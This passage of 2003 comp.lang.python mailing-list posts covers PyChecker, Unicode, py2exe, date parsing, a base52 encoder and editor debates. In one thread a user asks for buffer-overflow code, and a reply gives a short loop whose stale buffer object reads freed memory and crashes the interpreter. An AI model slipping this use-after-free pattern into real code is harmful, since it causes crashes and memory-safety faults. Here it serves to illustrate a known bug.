previous 12 hours I've gotten a half done responses *before* the 
original post.  Maybe one of the servers have some new quantum chips or 
something.  Makes for an interesting sequencial read, since everything 
more mixed up than a fart in a whirlwind.

I'll check for a response to this particular post before I send it. 
Just to be efficient.

Travis Beaty
Mason City, Iowa.


COMP.LANG.PYTHON.  We're so efficent, we deliver the answer before you 
can ask the question.


Cliff Wells wrote:
> On Thu, 2003-01-09 at 08:21, Afanasiy wrote:
> 
> 
>>Just had to have one more reply. I did say "try"... anyway...
>>I stumbled onto the fact that Peter Norvig agrees with me. ;)
> 
> 
> Damn, what is up with the mail<->news gateway?  I have no idea which
> post he is referring to.  I also haven't seen my own posts for some time
> (probably no big loss ;)
> 




From andrew-pythonlist at puzzling.org  Fri Jan 31 19:14:09 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Sat, 1 Feb 2003 11:14:09 +1100
Subject: Syntax checking python...
In-Reply-To: <jpsl3vcbb4tlv97l7bi2319238hkl3rdol@4ax.com>
References: <jpsl3vcbb4tlv97l7bi2319238hkl3rdol@4ax.com>
Message-ID: <20030201001409.GA16606@frobozz.local>

On Fri, Jan 31, 2003 at 10:05:48PM +0000, Afanasiy wrote:
> 
> In other languages, I can receive syntax errors without the script having
> to execute. Please do not let this hurt your feelings. I merely bring up
> the other languages as an example of what I mean and what I am used to.
> 
> In Python, I will not receive a syntax error until the interpreter runs
> right into it. This is not very efficient for me during my development.

Actually, you'll receive a SyntaxError as soon as you import a module with
invalid syntax, which is generally very early in the running of your
program.

> Is there a way I can be notified of my typos without having to run the
> interpreter up to those mistakes? That is my question. No smartasses.

Of course, typos cause more than just SyntaxErrors....

    def foo(arg1):
        print agr1

That's syntactically correct, but obviously wrong, and I suspect this is
more the sort of typo you have in mind (SyntaxErrors are rarely a problem if
you use an editor with syntax highlighting).  In this case, I've found
PyChecker <http://pychecker.sf.net/> to be extremely effective (and it'll
tell you about plain SyntaxErrors as well).

PyChecker is remarkably good at finding most of the typos that I make.  Its
biggest drawbacks for me are:
  - it still throws a fair few false positives
  - it can't cope with Zope's extension classes, or something, meaning I
    can't use it to check my Zope products that I develop at work.

Despite that, I still use it regularly, because it is so handy.  Hopefully
it solves your problem too.

Regards,

-Andrew.





From dglenn at charter.net  Fri Jan 17 07:45:27 2003
From: dglenn at charter.net (Doug Glenn)
Date: Fri, 17 Jan 2003 07:45:27 -0500
Subject: Warning! Newbie issue - Impersonating a user on Win32
In-Reply-To: <bdb5b58f.0301162019.55d545b8@posting.google.com>
References: <mailman.1042650398.19724.python-list@python.org> <bdb5b58f.0301162019.55d545b8@posting.google.com>
Message-ID: <200301170745.27919.dglenn@charter.net>

On Thursday 16 January 2003 23:19, logistix wrote:
> Try adding your account to "Act as part of the operating system" in
> the Local Security Policy.

I did that.... but I forgot to log off and log back in and look at it 
again. I think Win2k still requires a logoff and login to assign 
security tokens. I have that on my list of things to try at work today.

Thank you for your time.
-----
Doug




From gfu at public.nn.gx.cn  Sun Jan 26 23:32:05 2003
From: gfu at public.nn.gx.cn (gfu)
Date: Mon, 27 Jan 2003 12:32:5 +0800
Subject: how to use unicode?
Message-ID: <200301270433.AEN46846@md2.gx163.net>

hello:
	how to use unicode to show chinese? 
	run python.exe in w2k,Python 2.2.2:
	>>> u'??'
	 u'\xcb\xc6\xcd\xf8\xd2\xb3'

	run IDLE in w2k,Python 2.2.2:
	>>> '??'
	UnicodeError: ASCII encoding error: ordinal not in range(128)
	
	the "??" is a chinese.






From mirandacascade at yahoo.com  Tue Jan 28 16:15:15 2003
From: mirandacascade at yahoo.com (Miranda Evans)
Date: 28 Jan 2003 13:15:15 -0800
Subject: py2exe - return information from .exe program
Message-ID: <59e5b87.0301281315.7802eaf3@posting.google.com>

Assume xyz.exe is a program that was produced from  xyz.py by running
the py2exe utility.  Currently, xyz.exe displays information on the
screen, but it does not return information to the calling program. 
Can xyz.py be modified so that xyz.exe returns a value (e.g. a string)
to the process that called it?  Can anyone point me to a sample .py
script which, when 'compiled' with py2exe produces a .exe that returns
information to the calling program?  Thank you.



From bokr at oz.net  Wed Jan  8 12:30:20 2003
From: bokr at oz.net (Bengt Richter)
Date: 8 Jan 2003 17:30:20 GMT
Subject: Comments on base52 encoder/decoder ?
References: <avcvbj$imq$0@216.39.172.122> <7x4r8jbui3.fsf@ruckus.brouhaha.com>
Message-ID: <avhn7c$age$0@216.39.172.122>

On 08 Jan 2003 06:12:36 -0800, Paul Rubin <phr-n2002b at NOSPAMnightsong.com> wrote:

>bokr at oz.net (Bengt Richter) writes:
>> What it boils down to is that there are enough codes for two sets
>> of encodings plus 9023 special codes. You can think of it as a single
>> bit attribute for arbitrary subsequences of binary bytes with no extra
>> encoding characters vs doing them separately as before, and 9023 integer
>> codes can be inserted also at a cost of 3 code characters apiece. You
>> can think of them as available escape codes.
>
>I'd vote for getting rid of the fancy stuff with the integer codes,
>and also making the odd-character the last character in the encoded
>string rather than the first.  The reason is that lets you encode a
>stream where you don't know the length in advance.  

You can encode a stream where you don't know the length, but it's up
to you to concatenate the chunks returned by the conversion. When you
pass a string to b2a_base52, that length is by definition known, though
it's not known how many times you will repeat the operation. Otherwise
you are asking for a stateful filter that will need a close() method.

In the non-stateful situation, it doesn't matter if the odd byte is done at the
beginning or end (except doing it at the beginning makes the code a little shorter ;-).

Of course, if you encode large amounts of data by passing length-one strings
to b2a_base52, it will be very inefficient. But you wouldn't do that normally.

You can concatenate arbitrary encodings and decode them as one input, and
get what you expect. If all your pieces were even length, your combined encoding
would be identical. If you have e.g., two odd chunks, it means the whole could
have been encoded in 3 less code characters if the chunks had been precombined,
that's all. E.g.,

 >>> from base52x import b2a_base52 as b2a
 >>> from base52x import a2b_base52 as a2b
 >>>

Two minimal odd chunks:
 >>> b2a('1')+b2a('2')
 'wZdwZe'

Decode combination:
 >>> a2b('wZdwZe')
 '12'

Encode even equivalent:
 >>> b2a('12')
 'EiK'

And decode:
 >>> a2b('EiK')
 '12'

And non-alpha is ignored:

 >>> a2b("""
 ... E
 ...  i
 ...   K
 ...
 ... ;-)
 ...
 ... """)
 '12'

IOW, in general, a2b(b2a(x)+b2a(y))==(x+y)

BTW, how about the option to insert \n after every line_len characters?
And if so, should there be a final \n guaranteed there or not there?
Or should that be left to the outside too?

Regards,
Bengt Richter



From mertz at gnosis.cx  Tue Jan  7 01:00:01 2003
From: mertz at gnosis.cx (David Mertz)
Date: Tue, 07 Jan 2003 01:00:01 -0500
Subject: Books: Core Python Programming vs. Python Cookbook
References: <f774ba3f.0301062029.721ede80@posting.google.com>
Message-ID: <hzmG+kKkXceW092yn@gnosis.cx>                       

sir_penguin.geo at yahoo.com (Neil MacMillan) wrote previously:
|I'm a 1st year computer science student, but I've been teaching myself
|Python as my first useful programming language
|Core Python for explanations of specific things...
|I looked at Python Cookbook, which seemed interesting too.

Of these two, I would recommend Chun's book to someone just learning
Python.  In fact, of the more than half dozen introductory books, _Core
Python_ is probably my favorite, but _Learning Python_ and _Python
Bible_ are both good (avoid the Martin Brown titles at all costs; all
the others are OK).

_Python Cookbook_ is a really nice book, but it is aimed more at
experience Python programmers looking for clever tricks and techniques
that they may not have thought of.  I think a beginner might get
disoriented by _Cookbook_.  However, I look forward to Martelli's
_Python in a Nutshell_, which I'm sure will be an excellent
introduction, but that's not quite on shelves yet.

Of course, my vanity has to proclaim that you should read my book,
<http://gnosis.cx/TPiP/>.  On the big downside, you won't be able to by
that on shelves until a couple months after you can get _Nutshell_.
Still, you are free to download the text for personal use now.

Yours, David...

--
 mertz@  _/_/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY: \_\_\_\_    n o
gnosis  _/_/             Postmodern Enterprises            \_\_
.cx    _/_/                                                 \_\_  d o
      _/_/_/ IN A WORLD W/O WALLS, THERE WOULD BE NO GATES \_\_\_ z e





From boethius at techie.com  Wed Jan 15 09:34:50 2003
From: boethius at techie.com (Boethius)
Date: 15 Jan 2003 06:34:50 -0800
Subject: Detect when a class member is updated
Message-ID: <67446a0a.0301150634.f6d0c43@posting.google.com>

Can I detect when a class member is added or updated?

I have a class with a member called path. Everytime it's updated, I'd
like to run a 'sanity check' on the new value.

How can I do this?



From hancock at anansispaceworks.com  Fri Jan 17 05:44:58 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Fri, 17 Jan 2003 10:44:58 GMT
Subject: String Problem, What is it I don't understand?
References: <300e2v422gc01dsc8pn66jvi7cpooqkpek@4ax.com> <3E270E91.387D8562@engcorp.com>
Message-ID: <K8RV9.15426$Qr4.1463956@newsread1.prod.itd.earthlink.net>

Peter Hansen wrote:
> Burkhard posted the one answer, so I'm just going to point out
> that a much simpler approach for this particular problem is
> to use "split", as in
> 
>  month, day, year = xxx.split('/')
> 
> Unless you have to deal with dates in which the separator
> can be one of a number of options (ugh) this is much more
> readable, probably faster (not that it matters), and
> would handle four-digit years quite nicely as well.

Actually the alternate separator case is not difficult either:

import re
xxx = '1/15-2003'
month, day, year = re.split(r'[/-]', xxx)

Note also that 4 or 1 digit entries don't cause me any trouble, either.  

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From edream at tds.net  Tue Jan 14 11:31:18 2003
From: edream at tds.net (Edward K. Ream)
Date: Tue, 14 Jan 2003 16:31:18 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <mailman.1042312221.11913.python-list@python.org> <e10U9.122577$Hs2.11513225@kent.svc.tds.net> <yaWU9.63868$t06.3166521@news2.east.cox.net>
Message-ID: <qXWU9.132586$Hs2.12037881@kent.svc.tds.net>

> The primary limitation is memory use.  All those case optimized versions
> of functions in native code eat memory.  Based on results of similar
> projects in Smalltalk, LISP, and Java, I expect Python in Python to have
> comparable speed to CPython - but use more memory.  The Python
> version of the Python VM will be much easier to modify for experimental
> language features, but harder to port to new architectures (since the C
> compiler won't be doing most of the porting work for you).
>
> If you haven't already, take a look at the Java VM written in Java:
>
> http://www.research.ibm.com/jalapeno/

Very interesting.  Thanks for this reply.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------





From p-abel at t-online.de  Fri Jan 17 20:15:04 2003
From: p-abel at t-online.de (Peter Abel)
Date: 17 Jan 2003 17:15:04 -0800
Subject: Object copies...
References: <6af8e801.0212222321.3bd5b56f@posting.google.com>
Message-ID: <13a533e8.0301171715.74aadfa7@posting.google.com>

pennedinil at excite.com (DP) wrote in message news:<6af8e801.0212222321.3bd5b56f at posting.google.com>...
> Hi all,
> 
> Please help me clear my confusion here. I'm running the script below.
> I'm expecting to get a listing of my original object and the new
> object created by 'getdates'. Instead I'm seeing the function
> 'getdates' changing my original object, 'mydates'.
> 
> Q1: Why does 'getdates' not create a copy of 'mydates' instead of
> operating on the original object? I.e., how do I change this behavior?
> 
> Q2: [Unrelated] I'm trying to parse these dates into d, m, y and can't
> think of any other way but on a per-case basis. Any suggestions on a
> better aproach? 

[snip]

Why should'nt we do it with the good old regular expressions?
Remark: I replaced the empty strings by actual time 
        the same way Bengt Richter did.

>>> def format_date(mydates):
...   import re,time
...   m=re.compile(r'(\d\d?)[-./ ]?([01]?\d)[-./ ]?(\d+)')
...   newdates=[]
...   for date in mydates:
...     if date:
... 	  new_date=map(int,m.search(date).groups())
...     else:
...       new_date=list(time.localtime()[:3])
...       new_date.reverse()
...     if new_date[2]<2000:
... 	  new_date[2]+=2000
...     newdates.append('%02d/%02d/%04d'%tuple(new_date))
...   return newdates
... 
>>> format_date(mydates)
['31/08/2002', '31/08/2002', '31/08/2002', '30/09/2002', '30/09/2002',
'30/09/2002', '30/09/2002', '30/09/2002', '30/09/2002', '31/08/2002',
'31/08/2002', '31/08/2002', '30/09/2002', '30/09/2002', '30/09/2002',
'31/08/2002', '31/08/2002', '31/08/2002', '30/09/2002', '30/09/2002',
'30/09/2002', '30/09/2002', '30/09/2004', '18/01/2003', '31/08/2002',
'31/08/2002', '18/01/2003', '30/09/2002', '30/09/2002', '30/09/2002',
'31/08/2002', '31/08/2002', '31/08/2002', '30/09/2002', '30/09/2002',
'30/09/2002', '31/08/2002', '31/08/2002', '31/08/2002', '31/08/2002',
'31/08/2002', '18/01/2003', '30/09/2002', '30/09/2002', '30/09/2002',
'31/08/2002', '31/08/2002', '31/08/2002']
>>> 

This seems all to be good.
BUT be carefull !
In "mydates" you have some dates, which can be ambiguous.

if __name__ == "__main__":
	mydates = ['31082002','31.08.2002','31.08.2002',
                         '30092002','30.09.2002','30.09.2002',
                         '309 2'   ,'30-09-2002','30-09-2002',
                         '318 2'   ,'31.08.2002','31/08/2002',
--------------------------^^^^^

I think it will be "31/08/2002". But if you write the
following date in the same format "312 2" it could be 
interpreted as "31/02/2002" as well as "03/12/2002".

Hope, I could help you.
Peter



From cgjunkaddr at attbi.com  Tue Jan 28 01:53:20 2003
From: cgjunkaddr at attbi.com (Chetan Gadgil)
Date: Tue, 28 Jan 2003 06:53:20 GMT
Subject: Update:KOBRA - .NET for Python
References: <6_XY9.47838$4y2.1983@sccrnsc04>
Message-ID: <zNpZ9.60979$eM6.119660@rwcrnsc51.ops.asp.att.net>

A windows installer is now available.

http://www.gadgil.net/files/kobralib-1.0.win32.exe

Check out http://www.gadgil.net/DotNetWrapperForPython.htm for updated docs.

The Python module is broken for some cases. However, now we can get/set
properties or attributes also.
Syntax is similar to method call

e.g.

pt1 = kobralib.createObject("System.Drawing", "System.Drawing.Point")
pt1.X(10)

will set the "X" property to 10

Chetan


"Chetan Gadgil" <cgjunkaddr at attbi.com> wrote in message
news:6_XY9.47838$4y2.1983 at sccrnsc04...
> Hi
>
> I have updated the library and documentation with some examples:
> 1) How to use XML apis from .NET
> 2) How to access .NET webservices dynamically from Python
> 3) Create Windows forms
>
> Coming soon:
>
> 1) How to access COM objects from Python, without using win32com library.
> (using only kobra .NET)
>
> This project is under constant development to increase usability and
improve
> features.
>
> Thanks to GV Rossum for creating this superb language - Python and to Mark
> Hammond for his awe inspiring win32all.
>
> http://www.gadgil.net/DotNetWrapperForPython.htm
>
> Regards
> Chetan
>
>





From andrew-pythonlist at puzzling.org  Sat Jan  4 22:52:45 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Sun, 5 Jan 2003 14:52:45 +1100
Subject: File attributes - How to get?
In-Reply-To: <200301042234.44416.dglenn@charter.net>
References: <200301042234.44416.dglenn@charter.net>
Message-ID: <20030105035245.GD9891@frobozz.local>

On Sat, Jan 04, 2003 at 10:34:44PM -0500, Doug Glenn wrote:
> Greetings,
> 
> What module/function call is there to acess a file attributes? I don't 
> know if I am looking at the wrong name or what, but I cannot find a 
> routine to return the same information ls -l (LS -L) will return on 
> Linux. I am wanting to get the owner, group and other permissions in 
> addition to the owner and group assigned to the file.

os.stat

-Andrew.





From tim at frontier.net.nospam  Fri Jan 17 12:57:03 2003
From: tim at frontier.net.nospam (Tim H)
Date: Fri, 17 Jan 2003 10:57:03 -0700
Subject: buffer overflow
References: <mailman.1042778911.1136.python-list@python.org>
Message-ID: <v2ggvghqpt2de8@corp.supernews.com>

"Tim Peters" <tim.one at comcast.net> wrote in message
news:mailman.1042778911.1136.python-list at python.org...
> [donoli]
> > I have two machines, FreeBSD 4,2  and  W2K pro.  I'd like to test the
> > security on both of them against a buffer overflow.  If someone has
> > the code in python for a buffer overflow, please post it.
> > donoli.
>
> [Martin v. Loewis]
> > Python does not support buffer overflows, sorry.
>
> [pmaney at pobox.com]
> > I'm sure they could be added by a C extension module.
>
> They already were, and, curiously enough, by the builtin bufferobject.c.
> That supplies the builtin, little understood, and easily abused buffer
> object.  For fun, run this:
>
> """
> from array import array
> from random import randrange
>
> i = 0
> while 1:
>     i += 1
>     print i,
>     a = array('c', 'x' * randrange(10000))
>     b = buffer(a)
>     a.extend(array('c', 'y' * randrange(10000)))
>     c = list(b)
> """
>
> Chances are high it will die with a segfault before going around the loop
20
> times, because the buffer object created by buffer() can be left pointing
at
> freed memory by the array object guts getting reallocated, and then
list(b)
> ends up reading God-only-knows-what from the stale buffer object.  Some of
> the smarest people I know have refused to fix this <wink>.
>
>

Hmmm, a Win2k box got to 14, while Linux got to where I got bored and
CTRL-C'ed it.  Does this mean Linux can count higher than Windows?

Tim (not that one)






From spencer at efn.org  Mon Jan 13 18:27:38 2003
From: spencer at efn.org (Spencer Ernest Doidge)
Date: Mon, 13 Jan 2003 15:27:38 -0800 (PST)
Subject: Extracting int from string
In-Reply-To: <Pine.LNX.4.44.0301132333580.20349-100000@ratthing-b3cd.strakt.com>
Message-ID: <Pine.GSU.4.21.0301131526240.18482-100000@garcia.efn.org>

ooo I like this one. Thanks everybody. Mikael gets today's cool snippet 
du jour award from my station.

Spencer Doidge

On Mon, 13 Jan 2003, [iso-8859-15] Mikael Sch?nenberg wrote:

> On 13 Jan 2003, Spencer Ernest Doidge wrote:
> 
> > What would be the best way to extract the integer value 45 from the following string?
> >
> > 'X=   45   A'
> 
> Depending on exactly what the general format of the string is, this might
> be what you want:
> 
> >>> int(''.join([c for c in 'X=   45   A' if c in '0123456789']))
> 45
> 
> Or, possibly less obscure (untested though):
> 
> startStr = 'X=   45   A'
> intsInStr = []
> for c in startStr:
>   if c in '0123456789':
>     intsInStr.append(c)
> intStr = ''.join(intsInStr)
> finalInt = int(intStr)
> print finalInt
> ^^^^^^^^^^^^^^
> Should hopefully result in 45 :)
> 
> Untested, and... ehrm... with room for optimisation ;)
> 
> /micke
> 





From rjones at ekit-inc.com  Sun Jan 12 19:35:52 2003
From: rjones at ekit-inc.com (Richard Jones)
Date: Mon, 13 Jan 2003 11:35:52 +1100
Subject: [ANN] 3D game in Python!
In-Reply-To: <20030111181843.2c7c52aa.jiba@tuxfamily.org>
References: <20030111181843.2c7c52aa.jiba@tuxfamily.org>
Message-ID: <200301131135.52810.rjones@ekit-inc.com>

On Sun, 12 Jan 2003 4:18 am, Jiba wrote:
> Slune is a 3D racing and action game in Python. It currently runs only
> under Linux and is available under the GPL.
>
> See http://oomadness.tuxfamily.org/en/slune for screenchots or download the
> 0.1 release!
>
> The game itself and the network engine are fully written in Python. The 3D
> engine is in C and Python too.

This is _very_ cool. It's not clear from the website - does Soya3D handle 
collision detection?


    Richard





From hst at empolis.co.uk  Thu Jan 23 05:16:37 2003
From: hst at empolis.co.uk (Harvey Thomas)
Date: Thu, 23 Jan 2003 10:16:37 -0000
Subject: Hex numbers
Message-ID: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220E4E@hendrix.empolisuk.com>

Petri J?rvinen wrote:
> Hi, I assume that this is a FAQ-question, but I didn't find a 
> solution.
> 
> I have a string '0xff00ff' and I want to store it as a hex-number not 
> string.
> 
> Is that possible? I know that I can write to Python shell hexnumbers
> like:
> > a = 0xff00ff
> > a
> 16711953
> > hex(a)
> > '0xff00ff'
> 
> What's the trick?
> (I think it should not be possible as hex-is only a representation of 
> integer-object.
> 
> Second question.
> 
> Has anyone ran in to the problem above when using Python interface to 
> GDCChart?
> 
> - Petri J?rvinen
> -- 

a = '0xff00ff'
print int(a, 16)
16711953

_____________________________________________________________________
This message has been checked for all known viruses by the MessageLabs Virus Scanning Service.




From richie at entrian.com  Fri Jan  3 11:07:31 2003
From: richie at entrian.com (richie at entrian.com)
Date: Fri, 03 Jan 2003 16:07:31 +0000
Subject: Python soon to develop goto ?
Message-ID: <E18UUM7-0001Sv-0U@anchor-post-39.mail.demon.net>

[BB]
> A frame object's f_lineno attribute can now be written to from a trace
> function to change which line will execute next.

[chris]
> This is a feature to support debugging

Gah!  My cover is blown.  The only reason I implemented that 'jump' feature
is so that I could slip 'goto' in by the back door - all that business with
debuggers was just a front.

Oh well, back to adding pointer arithmetic to Ada...

-- 
Richie Hindle
richie at entrian.com






From peter at engcorp.com  Mon Jan 13 21:43:31 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 13 Jan 2003 21:43:31 -0500
Subject: Finding Clock speed
References: <Xns9302CE55E6761jslmAAearthlinknet@130.133.1.4>
Message-ID: <3E237953.4C787F46@engcorp.com>

Josh wrote:
> 
> Is there any way at all to find the clock speed on a Windows box from a
> Python module?

Hmmm... is this to use in calculations of some kind, or just for
display purposes?

-Peter



From marklists at mceahern.com  Thu Jan 30 10:37:08 2003
From: marklists at mceahern.com (Mark McEahern)
Date: Thu, 30 Jan 2003 09:37:08 -0600
Subject: Implicit lists
In-Reply-To: <6ob_9.104776$0v.3032021@news1.tin.it>
Message-ID: <JHEOKEOOLIGLDHCMAHMOEEJLFPAA.marklists@mceahern.com>

[Alex Martelli]
> for x in aslist(list):
>     whatever(x)
>
>
> How aslist is written is obviously quite secondary (at least,
> I _hope_ that's obvious...) -- all of its USES will be just as
> neat as the above example.

As a complement to what Alex wrote, I'd suggest writing unit tests that
document how you expect aslist to work with various types; e.g.,

import unittest

class test(unittest.TestCase):

  def test_stringlike(self):
    s = "foo"
    alist = [for x in aslist(s)]
    self.assertEquals(alist, [s])

...

etc.

// m

-





From BPettersen at NAREX.com  Thu Jan  2 17:29:21 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Thu, 2 Jan 2003 15:29:21 -0700
Subject: Why is xml.dom.minidom so slow?
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE37@admin56.narex.com>

> From: Martin v. L?wis [mailto:martin at v.loewis.de] 
> 
> "Bjorn Pettersen" <BPettersen at NAREX.com> writes:
> 
> > All I'm doing boils down to:
> > 
> >   response = rf.nextResponse()
> >   dom = parseString(response)
> > 
> > in a loop. Am I doing something wrong?
> 
> You have to give more details. What Python version? PyXML or 
> stock Python? One traditional reason is that people, not 
> knowingly, have used PyXML xmlproc, which is a pure-Python 
> parser, instead of Expat.

Python 2.2.1 without PyXML. The full code looks like:

def test():
  from xml.dom.minidom import parseString
  rf = ResponseFile('c:/data/Testoutput.xml')
  count = 0
	
  start = time.time()
  try:
      while 1:
          # nextResponse() returns a complete xml 
          # document as a string (throws at eof).
          response = rf.nextResponse()
          dom = dom = parseString(response)
          count += 1
          sys.stdout.write('.')
  except:
      pass
  stop = time.time()
  return count, stop-start

If I'm reading the minidom/pulldom files correctly this should use Expat(?)

> PyXML 0.8.x has a number of speed improvements for 
> minidom-with-expat (such as eliminating the SAX driver), and 
> memory usage improvements (such as interning element and 
> attribute names).

As a test, I tried building my own tree directly from the Expat events. This was about 4 times faster (2.89 accts/sec), but still far from fast enough... I'm starting to think a custom C++ parser might be the way to go (and here I was having such a nice day <sigh>).

> > Is there a faster way when all I need is a traversable tree 
> > structure as the result?
> 
> "All I need" reads quite funny in this context, as producing 
> a traversable tree is one of the more expensive ways for XML 
> processing. There are certainly faster ways if you *don't* 
> need a traversable tree.

:-)  Unfortunately they're not my requirements. (They go something like: "we will eventually need all the data, so put them in a form that the next step can traverse to put into a DB".) If you think a different approach is better I'm all ears :-)

Thanks for the interest.

-- bjorn





From cnetzer at mail.arc.nasa.gov  Thu Jan 30 23:59:14 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: 30 Jan 2003 20:59:14 -0800
Subject: Implicit lists
In-Reply-To: <3E39FBF4.8060205@tismer.com>
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com>
	 <mailman.1043939395.30256.python-list@python.org>
	 <Fpc_9.143714$AA2.5881522@news2.tin.it> <20030130180017.U10804@prim.han.de>
	 <3E39ED6F.5030703@tismer.com> <1043986314.679.52.camel@sayge.arc.nasa.gov>
	 <3E39FBF4.8060205@tismer.com>
Message-ID: <1043989154.685.71.camel@sayge.arc.nasa.gov>

On Thu, 2003-01-30 at 20:30, Christian Tismer wrote:

> With numeric arrays, it is *typical* to have
> a multi dimensional array. In most cases, you
> will want to have an array of a given dimensionality
> as an argument, less likely a list of arrays.

I see what you are saying.  But for example, tonight I'm working on some
plotting utilities, to plot 1-d vectors.  I want to be able to plot 1
vector or n vectors.  But I don't want to plot a matrix (a 2d array);
that's a different plot, in my mind.

So, dealling with tuples of vectors for plotting is just an easier
concept to deal with (in my mind) than putting things into a matrix
form, and in fact, I really want to differentiate the two (in this
case).  There are certain interface issues I have to deal with in my
plotting routines because of it.

If I just made my list of vectors into a matrix, I'd perhaps have less
interface issues (ie. I can just expect a matrix), but then users would
have to take steps to assemble the vectors with the right orientation
(ie. as columns, or as rows) and that makes more work and inconvenience
when using the routines.

> This appears to be a situations where two concepts of
> flexibility are fighting each other.

Exactly right;  I'm happy that flexibility gives me a simpler to use
interface, but I have to be more careful as an implementer as to what
should be reasonably expected by the user when they call my routines (at
least in this case; and I'm the primary user so I can fit my own style
pretty easily :) )


> if-the-interface-is-difficult-then-it's-wrong - ly y'rs - chris

And easy to use can be difficult to implement (of course)

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)






From juneaftn at REMOVETHIShanmail.net  Mon Jan  6 23:10:11 2003
From: juneaftn at REMOVETHIShanmail.net (Changjune Kim)
Date: Tue, 7 Jan 2003 13:10:11 +0900
Subject: CGIHTTPServer and POST with Netscape versus IE
References: <3E1A4A4D.50C5DB52@engcorp.com> <3E1A4AD4.DA872FE3@engcorp.com>
Message-ID: <avdjve$sro$1@news.hananet.net>

I also suffered from the same malbehaviour.

see:
 *
http://sourceforge.net/tracker/?func=detail&aid=427345&group_id=5470&atid=1
05470
 *
http://sourceforge.net/tracker/?func=detail&aid=430160&group_id=5470&atid=1
05470

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E1A4AD4.DA872FE3 at engcorp.com...
> Peter Hansen wrote:
> >
> > We've encountered a little problem in a test program
> > involving the standard module CGIHTTPServer.py and a POST
> > operation from Internet Explorer.
>
> I forgot a possibly key detail: the server responds properly
> when run under Linux, but fails when run under Windows 98.
>
> Given that IE's behaviour is suspicious at best, it seems
> likely that the fact that Linux works is either a fluke,
> or a testament to some extra robustness therein, but does
> not necessarily mean this is "yet another Windows problem".
>
> If I'm wrong about that, please let me know.
>
> -Peter




From mis6+ at pitt.edu  Wed Jan  8 11:27:24 2003
From: mis6+ at pitt.edu (Michele Simionato)
Date: Wed, 08 Jan 2003 11:27:24 -0500
Subject: no side effects
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com>
 <200301081922.39672.b.maryniuk@forbis.lt>
Message-ID: <3E1C516C.E7948DCC@pitt.edu>

"Bo M. Maryniuck" wrote:
> 
> On Wednesday 08 January 2003 15:10, Michele Simionato wrote:
> > I was surprised by the following code:
> > >>> for i in [1,2,3]:
> > ...     print i,
> > ...     i=3
> > I would have expected only 1 to be printed,
> Wrong.
> 
> > but instead Python continues the loop
> Yes.
> 
> > Maybe others will appreciate that.
> Probably you want this:
> >>> for i in [1, 2, 3]:
> ...     print i
> ...     if i == 1:break
> ...
> 1
> 
> --
> Regards, Bogdan
> 
> Professionalism has no place in art, and hacking is art.  Software Engineering
> might be science; but that's not what I do.  I'm a hacker, not an engineer.
>                 -- jwz
No, I *know* the break statement. It was just an example of the
wonders of Python.
Regards, 

-- 
Michele Simionato - Dept. of Physics and Astronomy
210 Allen Hall Pittsburgh PA 15260 U.S.A.
Phone: 001-412-624-9041 Fax: 001-412-624-9163
Home-page: http://www.phyast.pitt.edu/~micheles/




From bkelley at wi.mit.edu  Thu Jan  2 11:29:15 2003
From: bkelley at wi.mit.edu (Brian Kelley)
Date: Thu, 02 Jan 2003 11:29:15 -0500
Subject: FFT woes
References: <v13t5hakpug725@corp.supernews.com>
Message-ID: <3E1468DB.8010907@wi.mit.edu>

Adding to what eric mentioned about taking the log of zero, perhaps it 
would be better if you plotted the periodogram of that data.  I expect 
that your signal might just have a mean of zero.  The fft-zero frequency 
is the average of the signal.

Since the zero-frequency is dominating and equal to the average of the 
signal, the periodogram simply removes this.  The non-zero frequencies 
show up a lot better.

You will need some way of computing the mean.  I use the stats.py 
package.  You can just google search for this.

def periodogram(vector):
     mean = stats.mean(vector)
     a = FFT.fft(vector-mean)
     N = len(a)
     ab = abs(a)
     return (ab*ab)/N

Enjoy.




From mwm at mired.org  Thu Jan  2 23:08:36 2003
From: mwm at mired.org (Mike Meyer)
Date: 02 Jan 2003 22:08:36 -0600
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org>
Message-ID: <x7bs2y98or.fsf@guru.mired.org>

Steve Lamb <grey at despair.dmiyu.org> writes:

> On Thu, 02 Jan 2003 23:25:06 -0800, faust <urfaust at optushome.com.au> wrote:
>     Ah yes, Emacs.  Emacs is the proof that even the most die hard unix fan
> can succumb to creeping featurism.  Why?  Well think about it, "the unix way"
> is to have a collection of small tools which are interchangable, communicate
> with each other well and each do their specific task quite well.  "The windows
> way" is to lump every unrelated task into every program in an attempt to out
> check-box the competition on a comparisoon pamphlet.  Now, I ask you, which
> describes Emacs?  Clearly the latter.

No, it's clearly the former. You're just confused about what a program
is. That it's conventional to run multiple programs on one instance of
the interpreter doesn't make all those programs part of one big
program, any more than all Python programs are part of one program
because they require the same runtime support.

>     I never quite understood what a mail and news reader had to do with
> editing files yet every time the "best mail|news reader for unix" comes up
> gnus is top of the list.  Noone has yet to explain to me why I would want to
> install a 20+Mb editor just for a newsreader.

You'd do it because it's the best newsreader for the job at hand. Just
as you'd install a Python interpreter to run a python program that
happens to be the best one available for the job at hand.

>     Of course people have called Emacs a "work environment".  Fine.  When
